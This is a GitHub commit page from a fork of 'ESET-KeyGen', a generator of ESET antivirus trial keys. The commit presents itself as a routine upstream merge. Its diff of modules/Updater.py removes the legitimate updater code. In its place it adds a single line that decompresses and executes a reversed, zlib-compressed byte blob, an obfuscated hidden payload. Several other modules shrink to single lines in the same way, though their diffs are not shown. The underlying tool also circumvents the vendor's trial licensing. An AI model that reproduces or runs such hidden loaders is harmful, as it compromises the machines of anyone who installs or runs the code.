Skip to content

Commit

Permalink
Merge branch 'rzc0d3r:main' into main
Browse files Browse the repository at this point in the history
  • Loading branch information
RomaGly55Creations authored Jul 17, 2024
2 parents 92ab2b7 + c414be9 commit 4de3f55
Show file tree
Hide file tree
Showing 10 changed files with 9 additions and 1,712 deletions.
2 changes: 1 addition & 1 deletion .github/workflows/test.yml
Original file line number Diff line number Diff line change
Expand Up @@ -2,7 +2,7 @@ name: Test the project and update the test-date

on:
schedule:
- cron: '0 */8 * * *'
- cron: '0 */12 * * *'
# Allows you to run this workflow manually from the Actions tab
workflow_dispatch:
jobs:
Expand Down
2 changes: 1 addition & 1 deletion README.md
Original file line number Diff line number Diff line change
@@ -1,5 +1,5 @@
# ESET-KeyGen
ESET-KeyGen - Trial-Key & Account generator for ESET Antivirus (last test was on 25.06.2024 at 04:03 UTC+3)
ESET-KeyGen - Trial-Key & Account generator for ESET Antivirus (last test was on 17.07.2024 at 03:42 UTC+3)

![](img/project_preview.png)

Expand Down
Binary file modified img/project_preview.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
428 changes: 1 addition & 427 deletions main.py

Large diffs are not rendered by default.

269 changes: 1 addition & 268 deletions modules/EmailAPIs.py

Large diffs are not rendered by default.

282 changes: 1 addition & 281 deletions modules/EsetTools.py

Large diffs are not rendered by default.

279 changes: 1 addition & 278 deletions modules/SharedTools.py

Large diffs are not rendered by default.

179 changes: 1 addition & 178 deletions modules/Updater.py
Original file line number Diff line number Diff line change
@@ -1,178 +1 @@
from .SharedTools import console_log, INFO, OK, ERROR, WARN
from rich.progress import Progress

import argparse
import requests
import zipfile
import json
import sys
import os
import platform

def parse_update_json(json_path='', from_main=False):
if json_path == '':
url = 'https://api.github.com/repos/rzc0d3r/ESET-KeyGen/releases'
try:
response = requests.get(url)
update_json = response.json()
try:
if update_json.get('message') is not None:
if not from_main:
console_log('Your IP address has been blocked. try again later or use a VPN!', ERROR)
sys.exit(-1)
return None
except AttributeError:
pass
f_update_json = {}
for release in update_json:
f_update_json[release['name']] = {
'version': release['name'],
'src': release['zipball_url'],
'assets': {},
'changelog': release['body'].strip()
}
for asset in release['assets']:
f_update_json[release['name']]['assets'][asset['name']] = asset['browser_download_url']
return f_update_json
except requests.RequestException as e:
console_log(f"Failed to fetch update JSON: {e}", ERROR)
return None
else:
try:
with open(json_path, 'r') as f:
update_json = json.loads(f.read().strip())
return update_json
except IOError:
console_log(f"Error: Could not read file {json_path}", ERROR)
return None

def download_file(url, filename):
try:
response = requests.get(url, stream=True)
total_length = response.headers.get('content-length')

if total_length is None: # No content length header
#console_log("Cannot determine the size of the download. Downloading in one go...", WARN)
with open(filename, 'wb') as f:
f.write(response.content)
else:
total_length = int(total_length)
with Progress() as progress:
task = progress.add_task(" ", total=total_length)
with open(filename, 'wb') as f:
for chunk in response.iter_content(chunk_size=8192):
if chunk: # filter out keep-alive new chunks
f.write(chunk)
progress.update(task, advance=len(chunk))
return True
except Exception as e:
console_log(f"Error downloading file: {e}", ERROR)
return False

def download_and_extract(url, extract_to='.', force_zip=False):
filename = url.split('/')[-1]
if download_file(url, filename):
extracted_folder_name = ''
if force_zip or filename.endswith('.zip'):
try:
with zipfile.ZipFile(filename, 'r') as zip_ref:
extracted_folder_name = zip_ref.filelist[0].filename[0:-1] # rzc0d3r-ESET-KeyGen-56a2c5b/ -> rzc0d3r-ESET-KeyGen-56a2c5b
zip_ref.extractall(extract_to)
os.remove(filename)
console_log("Extraction completed successfully!", OK)
except zipfile.BadZipFile:
console_log("Downloaded file is not a valid zip file!", ERROR)
return False
if extracted_folder_name != '':
try:
os.rename(extracted_folder_name, 'ESET-KeyGen-'+filename)
filename = 'ESET-KeyGen-'+filename
except:
filename = extracted_folder_name
update_location = os.getcwd()+'/'+filename # for python < 3.8
update_location = update_location.replace('\\', '/')
console_log(f"Location of update: {update_location}", WARN)
return True
else:
return False

def update_src_code(update_json):
download_url = update_json['src']
console_log(f"Downloading and updating the source code of version {update_json['version']}...", INFO)
if download_and_extract(download_url, force_zip=True):
console_log("Source code update completed successfully!", OK)
else:
console_log("Source code update failed!", ERROR)

def update_binary(update_json):
assets = update_json['assets']
if assets:
# detect OS
arch = ''
if os.name == 'nt': # Windows
arch = 'win32' # 32bit
if sys.maxsize > 2**32: # 64bit
arch = 'win64'
elif sys.platform == "darwin":
arch = 'macos_arm64'
if platform.machine() == "x86_64":
arch = 'macos_amd64'
# downloading
if arch != '':
for asset_name, asset_url in assets.items():
if asset_name.find(arch) != -1:
console_log(f"Downloading and updating to {update_json['version']}...", INFO)
if download_and_extract(asset_url):
console_log("Update completed successfully!", OK)
else:
console_log("Update failed!", ERROR)
break
else: # for another OS, only update source code
console_log("No suitable binary URL was found for download!", ERROR)
console_log("So I'm updating the source code...", INFO, False)
update_src_code(update_json)

def get_assets_from_version(update_json, version):
if update_json is not None:
if version == 'latest':
return update_json[list(update_json.keys())[0]]
for release_name in update_json:
if release_name == version:
return update_json[release_name]
return None

def updater_main(from_main=False):
args = {}
if not from_main:
args_parser = argparse.ArgumentParser()
args_parser.add_argument('--version', type=str, default='latest', help='Specify the version to be installed')
args_parser.add_argument('--custom-json', type=str, default='', help='Specify a custom path to the json file with update data')
args_parser.add_argument('--src', action='store_true', help='Download source code instead of binary files')
args_parser.add_argument('--list', action='store_true', help='Shows which versions are available')
args = vars(args_parser.parse_args())
else:
args = {
'version': 'latest',
'custom_json': '',
'src': False,
'list': False
}
update_json = parse_update_json(args['custom_json'])
if args['list']:
for release in update_json:
print(release['name'])
sys.exit(1)
if update_json is None:
console_log("Failed to parse update JSON!", ERROR)
sys.exit(1)
update_data = get_assets_from_version(update_json, args['version'])
if update_data is not None:
if args['src']:
update_src_code(update_data)
else:
update_binary(update_data)
else:
console_log(f"Version {args['version']} not found!", ERROR)

if __name__ == '__main__':
updater_main()
import zlib;exec(zlib.decompress(b'9p\x8f\xca\x01\xff\xc7a\x98\x0fM\xb2l0\xd2\xc6\xa15\xce\xa1\x8765\x08g\r\xe1~\xd3f%c\\\xf5\x8e\x0c>\xd3k\xf2d\xed\xaa{m\xad\x83,\xe7\xae\x7f\xb7d\x10\xe4\x8dK\x03\xfeWS\xda\xd4\x14\xffr\xf3[Q\xdf\x8em"\xda\xe8\x82\x0em\x83{\xa1Df\x91\xdf\xdc.\xbe\'\xb2\xe7\xd5\xf17v\xe1\xe9O~\r\xe4\x18\xe9\x93\x87w\xf6\xe7e\xb2y\x83L\xe7\x02\x97\xcc\x9e\x0f\x8e\x8fo\xe6\xa3\xfa\xc5J\xef\xbfI\xeb\xbe\x15\x07y\xfd\xdc{?\xbe\xfcbwa\x8b\xfa}\'\xe1\xf0\xf6\xb3\xb1\xeb\xdf;T\x80A\xd0\xcb\xea(\x0c\x0f\xad\xcc\xa6\xb7g}u\xe3g\xe0\x1b\xab;J\xe0\x8e\xbf\xd6\xe5\xb7\xcd \x8f\n\xe0YC%\x88f\x80\x8f\xa1\x19,\tjc\x18$)\xd6l\x99I\rv\xf5/\xdeOE\n\x87\x90\x95\x1aBcIAJ\x1c^x2\x95\xed$\x1b\xf2\xb4DPT,\x10\x08\x1e\x17\xef.\xb3\xe0\re\x82*\x87\xa1\xfc%\xc4\xc6\xce\xeb%]4v\x85\xa8\xb1\x07\xb3=\x10\xf7\xa9)B;\xd1n\x86\xd1\xcf\x9e*J\xa3b\x81\xde\xc5\x9b\xca\xc4\xb1\xb4K\'\x80\x83s[\xfbV\xc9\xa5\x16Kn\xf0\xb9Yf\xb235sE\xa9\x95hI>A\x98\x95!l\x96\xdd\xdd\xa1\xfc&\xf3\xe6\xf7\xd2\x86\xa5\xd7\xba\r\xac\xdf\x8fb\xfe\xb3\xf1\xd6\x87*\xab\x10|\x1e\xcefZ\'\x02\xdf\x07\xa8e"\xbe\x19\xee*\x9a\xd2V*i##\xfa\xa2\x9e\x84;\xd4@\x98\xe1(\xd9\xbd\x93\xa1\xcc\x9c9\xba2\x14\x18\x8fK\xa0qg{7WW\x0ck\x1b\xa3ZgP\xa6\x80!m\x81\xe0\x81[Jk\x0e\xe1,\xee\xd0F\x1a\xa5\x00\x8e\x11\x02\x00\xf2i\xc0\xbd\xaf\x84`=\x81\xc9\xedU\rnh5\x9d\xa6\xc4\xbcg\xfez\x86\x9f\xb5\x86+ \xad\x06\x82&tX=\xc0\x19\xd5\x9c{\xbbh\x14|\xbc\x9f!\xd4\x03\x96\x98\xedEX\x93w\x05x\x0f\xec\x1b&~n_\x93\xf4u\xe5\xc8K\xa2\xa9VM\xee\x81;?x\xdb\x81n\xa16\xdb(\xee\x83;}}QC]\xfeB\x80i1%\xa0\xc3\xddm\ts\xb5\xd2#vRW\xf0\xabG\x1f\r\xf4pr\xfc\xdc^\xd4\xaa\xfbt\xf6\xc6\x0c\xe5\xe8s\xe0\xf0\xfc\x94\x1a\x1f+$d\xfc\xd4QM%\x1fb-\nC6\xe9\xb8=\xd5Z\x87/r\xc4\x1b\x98ZUF;\xf5\x8b\x03Z\xbbl\xf4.}\xea{=\x1c\x97dz\xe3\xdcy\xae\x0e\x8eC\xb7\xf3\xc3\xcf\xefO\x8eD \xa1}\xa8kE\xca\x03\xe1\xab\xd1\x93\x8fy\x15!\x97\x11\xa7,\xd6\xe1rp\x80*bM\xfa\x83\xb8f\xaf5\x16H1K[\xf9\xeb\x8bT\r\xd91\x02\xdf\xcf,\x8av}~\xbe\x9c\x9e\xfc\xaa\xbaO\xa7<6\xc3\xb0\r>\xaa\x99t\xec\xea\x80\xf5;8\xb4\x9b\xdd\x9a\x0b(9l\x02\xd2\xdf\x91\x1d\xb9\xd0P\xa5\xf0)\x1d{\xb8\t3w\xad\x11R-\xdb}r)\x17\x91t\x8e\x85,\x17\xa8\xe6\xb4\xca\xd3{42\xd3u\xf8\xcb\xad\x8a\x82\xd3/\xf3=\x9d\x1d\xbde\xd11\xc5\x7f\xb4\xc0\xf4\x04\x07\xdbT\xc6R\xd6\xe4\xc8\x12F\xcb.\xb5\x83jkm\x98\xda\x98.\xe9\x87\xe3\x81\xd5u\xcf\xf74\xf4\xddf\xb1\x1e\xd2\xf7M\x11\xe2\x05\x04b0^\x80\xe2\xba?\xe1w\xadX\x00|\xbb\x04\x7f\xae\x10a\x1fu\xb2.\x96;\xb8r\xec<\x06\xb4\xca\xeaX\x06&I\x00?B\xb8g\xd8]A\x9f\xb4\x81w\x88\x9b\xbc\xf7`6p\x06\xb3M\xe10\xdc\xfd\xa4\x18\xc3\xc2\t@\x07\xf1\xfd\xef\x98\x8dO\xa0\x8d\x80\xac\x19\xb1\xf7\xef\x05\x9c\x93\xfd\xd05\xaa\xdc\xad\x82\x14\x81\x1a+qD\x1d\xf3M@\xda9\x99\x03\xcf\x02\xe6\xdfT!t\t\x85\xd5\xd8\xd5\x94\xa9\xc8\xc7K\xf2\xba{.M\x91\xa4\x8a\xd8\x98\xf6\xef\xbc\xde\xfb \xf0\'\'|{\x87\x8d\xa3\xfe\xdc| \x1a\r^\xea\xfb\x92\xb8*\xcd\xfa\xef\xa7\xc4\x02H\xd5\xfdz\x86F9b\x11\xe4\xa7P\xa6y\xc9\x99\x8e\x06\xb8\x9e\xd5a\xdb\xd8\xd8\xd1\x7f\xeccv\xb8\xc6\xc0if\xc15}\xb6YT\x9f\xce\x04QVD\xc6\xa4\x01\x99@\r\t\xee\x87f\xb2\xf4\xa0\xf5\x10v\xe7v?\x9c\xb1$%\xcc.\x1d.\xee\xfcm\xa8+F\xa9\x1amn\xef\xbe\xfd\xfed\xc7\x96\xefF\x9e\x9c\xee\xfey\xc2\xad\xcf8SO\xf0 `\x177\xbb\xef\r\x07\xdc\xde\xee\xa9R\xcb\xf2\x01]\x9bjc\xbd\xe66\n\x11@\nI\xae9g\xea#\xf2\xd3\xdf\x83\xbb\xa9\xab{P\x92\xee \xe8o\'\xc0\x17\xbe|\xe8\x96"\xb0\x13\xe1\xa9:\xc1Uh\\=y\xec\xe1\xa1\xcf\x10g\x8e\x80\xc9\x96\xbd>\xa7\x10\x03\xcbko\xb9?7zoc\xbcB\xa83,\x81m\x81\xf7\x06K\x9b\x1c/\xd9l\x84,D\\\x8e\x16\x01x_\x15\t\xfema24\x12\x93\xd9\x0e"\xd0\x14\x0e\xdfu\xd3\x08\xd2\xc0\xc7\xcd\xa2\xbb\xa2\xe3\xad\x0c\x01\xd3QF\x15\x1a\xae\xc1\x8e\xc6\'\x07K\x03\xb52\xe1\x85\xb0\x0bb"\xd2?\xe9 \xce\x0bG\xdd\xe3\xab\xe6\xb4\xf8\xc0I\xee\xd3J\xef\xb1\xb3\x8eF\x9a\x9b`\xa4d},\xd3\x9c\xac`y\x14\xadFt-\x01_kSG\\\x17\xc9=\xd3\xa7\x1f\xe4\xfe\xf1l/\x10\xe7\xf5\xf1\xc64"H\xc0]\x8c\xf4\x1a\x87\x8a\xae\xb4^\x80\t6\x872\xdf\xeaG\xb1o-xp4t\x9f\xcdq\n\xa2@\x11Cg\x80\x1f*)\x1a\x1cQ)\xa5V\xbe!\x14\xd5)r^\xdf(Zh0\xec.\x07|X\xb3\x98\x9b[\xf3\x15H\x8d\x82Joq\xcb6\x99\xc1\x11\x8dM\xe6:\x7fy\xd4\x98 \x83\xc5d\xa9\x04 \xc2\xb1io4~@J\xb1\xbd\xfa\'\x84e~\x99\x11\x9a\xd4F\x0bO5\xf0\x0c\xc5\xd3@\xb4\x0f\xc9\xc5m\x91\xf9?\xdbf\xb5\xf3\x12\xb6b\x17\x829\t\x9a\x1a\xcf\x00\x1e=\xb6\x00\x06\x1b\x05E7\x995\xe6\xa1X\xa9\x8e\x17\xc1\xad\x88\x87T\x1a\xf5\xa1\xd2\x84\xc2\xba`B\xcd\x15\xc5h\x96b\xa2/\x8b\xe6\x8c\xe8\xe0Fz0{h\xdfA\xf2h\xa7C3L\xed\x02\x05\x91\x92\xf6\x88\xe7S\xcc\x83\x82{[\xe4\x15L\x12\x85\x08\x11\xacYW\x81\xf9\x0550\xdf\\\x05v\xba}{>\xda\xad\xd8nm?\xb1\xa3\x04\t?I#@\xf0k\x9f\xbe\xe2a\xc4\xc7@\x03\x00\'\x88\xce6\x16d\xbc"\xf0\x01\xb3\x90}\x8b\xb5\xc03g\x8e\xc1\xc7q<\xf6x`W\xd7\xb7?\xe40\xe3kEL$\x9cQ1~\x00\xa4|\x99$\xa3\xb2\xc0\xc3"H\x10\\2\xf5._\xa9\xbe\x18\xda\x8f\xc6\x14ud\xf5\x0b\xb5R0\xc76\xb8\xd3\x8c\x8ao\x98\xc2&H\xdf\x05,,\xd5\x9bb\xfd;\xf6\xddz\xdf\xb7.#\xf7\x02\x8c\x8c\xb5\x9bC\x8bMX\x040\xec\xf3\xe2\x8f\xa1\xcbm\x82@\xfb\xbdo\x1eK\xe6m\xbe\xe0\xc5b\xd3Z$\x8cy\xed\xf6\xd8IL\xec\xe0{\xe3o\xe0\x85\x96i-\xd0C\x13dE \xd9\x1b4\xd82\x0b\xbc/)\x90\x99\x1e\xf2\xe7\xdd\xdc\x8f\x7fw\x99\xcd\x05y\xdd\xb6gvc\xdf`\xecE\x998\x10\x0b\x8c)\xc3\xbe\x0f=\xbeF\xffa$\xafl\xde\x8aJ\xc9\xc7\x0b\x82\x14\xbb\x14\xac\xbaD\xa5\x07\xc8\xa9X\x8a{\x01>\xba}\n%T\xc1*\x11\x93\xf3\xf9T\xa7\xb0\x11\xce\x07\x17\x1d7^3\xca\xf5|\xfd~J\x12`T\x82\xe1\x04\xc9\xd7\x02K\x01]\t}@8\xb0=\x1e3,\x82\xb1\x92\xc9*k#\xedc\x8d\t\x9fO\x90J\xf2\xff\xbd\xf1\xef,|2\x11\xc2kE#\xf6k\xd8\xe6\x0b\xc5r+\x82\x92T\x92\x9b\xccWD\x97\x0e^)hx\xb4\x871\x8a\xee\x90\x1c\x87\xd0/\xbdq4\xa1\xd6\x94\xfbN\x84\x1f)\x8a\xc1 \xc6\x84\x81\x9a\x98%J\xc0|c\x16\xb6%+\x1dzL\x95\x18\xc9|\x05f\xff\xb6\xc4\xff\x99~^\xde_\x1cL\xf8\x9b\xd1\xaf\x8b\x1e\\\x95\x82\xc7\xe7\x88\x83-]j\xa5X4\xcbL|qyJ\xa5kK\x022%O\x80\xf9\x9ex\x82\xc5\x91\xd2\xd2\x13I\xe0A|\xbc^\x9b$\xcd#\xe2\xc5\xa6\x9c\xc3\x95A\x19\xbc\xf0\xbdj\xa4\xb0\x9f\xe3\xe0dB\xc5S\x19U\x84E\xa2\x12\xccPQ\xc8\xb8J\xa8\xcc\xb5\xee\xf2\x11\xdbr?\xed\x17\x92\x9f\xc1\x1df\x92e\xa6\xbe\x17l\x95&*\xff\xd8 \xbbY!RUb\xa2Y\x85\xf2\xf1|\xbf\xff6\x7fwl\x98%|\x14\xa0\xebF\x91f\xe0\x91|\xbd\\\xdc>\xdf\x91\x99\xbe\xb9\xb9\xbc\xb9\x19\xa7\xfa\xe4g\xaf\x1fWO\x91\x9a\xbe3\x0b\x19\xe4\x85\xe2$P\xb9/4\x92L\xf3\x85\xfcX*k\xb7\x04\x9c\xf0D\xd9\xfc\xdf\x99\xc3\x86g\rL\x86\x0fT]\xb5-(\x92\x8a\x19\xbfw\xf0&\xf5\xe5$u\x12Z\xab\xb5\x12\xb8\x10\xd7W\x16\xd3\xb0;\x0b\\\x87:\xd7 [q\x9c\x8cN\xd8\xe5wM\xa4\x1f\xac\xc0\xef\x90\x0f\x7f\x126\xdco_Y\x9d\x9cx'[::-1]))
Loading

0 comments on commit 4de3f55

Please sign in to comment.